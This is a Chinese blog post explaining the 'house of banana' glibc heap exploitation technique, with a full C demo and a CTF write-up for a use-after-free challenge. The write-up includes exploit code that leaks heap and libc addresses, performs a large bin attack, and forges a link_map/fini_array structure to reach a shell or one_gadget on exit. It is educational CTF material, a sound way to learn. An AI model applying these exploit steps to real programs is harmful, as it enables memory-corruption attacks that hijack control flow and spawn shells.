house of banana

条件:

1.任意地址写一个堆地址

2.触发exit函数

3.能泄露堆地址和基地址

原理:

伪造 fini_array 赋值用到的结构体 从而控制程序exit时的程序执行流

ld.so 中存在 _rtld_global指针,指向 rtld_global结构体 ,里面有 _dl_ns 结构体 ,这个结构体里面存储的是elf隔断的符号结构体, fini_array段 的结构体在 _dl_fini中被使用 ,伪造该结构体指针,可以使得array指向我们可控的数据区,从而布置下一系列函数,进而劫持程序的流,house of banana的思想就是利用large bin attack往rtld_global写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出main函数时,便会执行到伪造的fini_array数组。

demo

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

void shell()
{
   system("/bin/sh");
}

uint64_t getLibcBase()
{
   uint64_t to;
   uint64_t from;
   char buf[0x400];
   
   FILE* file;
   sprintf(buf, "/proc/%d/maps",(int)getpid()); 
   file = fopen(buf, "r");
   while(fgets(buf, sizeof(buf), file)) 
   {
      if(strstr(buf,"libc")!=NULL)
      {
          sscanf(buf, "%lx-%lx", &from, &to);
          fclose(file);
          return from;
      }
   }
}

int main(){
	setvbuf(stdin,NULL,_IONBF,0);
	setvbuf(stdout,NULL,_IONBF,0);
	setvbuf(stderr,NULL,_IONBF,0);

	uint64_t libcBase = getLibcBase();
	uint64_t rtld_global = libcBase+0x23d060;
	uint64_t* next_node = (uint64_t*)(rtld_global-0x4b048);   
	uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
	uint64_t *g1 = malloc(0x18);

	uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
	uint64_t *g2 = malloc(0x18);
	uint64_t fake = (uint64_t)p2-0x10;

	*(uint64_t*)(fake+0x28)  = fake;
	*(uint64_t*)(fake+0x31c) = 0x1c;
	*(uint64_t*)(fake+0x110) = fake+0x40;
	*(uint64_t*)(fake+0x48)  = fake+0x58;
	*(uint64_t*)(fake+0x58)  = (uint64_t)shell;
	*(uint64_t*)(fake+0x120) = fake+0x48;
	*(uint64_t*)(fake+0x50)  = 0x8;

	printf("libcBase is 0x%lx\n",libcBase);
	printf("rtld_global is 0x%lx\n",rtld_global);

	free(p1);
	uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
	free(p2);
	p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
	uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

	p2[1] = 0;
	p2[3] = fake;

	return 0;
}

largebinattack基本流程

2.31的libc

uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);
uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;

让p1进入largebinattack ,再让p2进入unsortedbin,修改p1的fd_nextsize指针,触发largebinattack,然后把p2地址写入next_node之中

free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

接下来就是布置link_mmap结构体

*(uint64_t*)(fake+0x28)  = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48)  = fake+0x58;
*(uint64_t*)(fake+0x58)  = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50)  = 0x8;

例题

上周打的邑网杯决赛,线下有一个题目刚好是uaf的,largebin attack

漏洞分析

add函数

申请0x420-0x550堆块,堆块size错误会触发exit函数

delete函数

存在uaf漏洞

show功能正常

edit函数也能正常使用,delete没有清空size

思路:泄露堆地址和基地址之后,触发largebinattack往next_node写入堆地址,再利用uaf往堆地址中伪造结构体,最后输入错误size触发exit函数

泄露堆和基地址

add(0,0x520)
add(1,0x508)
add(2,0x510)
add(3,0x500)
free(0)
free(2)
show(2)
heap_base = h64() - 0x290
add(4,0x510)# 2&4 unsortedbin
free(2)
show(0)# largebin
libc_base = l64() - 0x1ed010

接下来又是熟悉的largebin attack环节

payload = p64(libc_base+ 0x1ed010)*2+p64(heap_base+0x290)+p64(next_node-0x20)
edit(0, payload)
add(5,0x550)# 2&4 into largebin & largebin attack

往next_node中写入堆地址

接下来就是往heap中布置结构体了

og=libc_base+0xe3afe
heap2_addr=heap_base+0xcd0
fake_addr=heap2_addr
pl = p64(0)*3 + p64(fake_addr)
pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(og)
pl = pl.ljust(0x100,b'\x00')+p64(fake_addr+0x40)
pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314
edit(2,pl)

触发exit()

sla(b'>> ', b'1')
sla(b'much?\n', str(0x10))

posted @ 2024-09-06 16:19  L1N_yun  阅读(127)  评论(0)    收藏  举报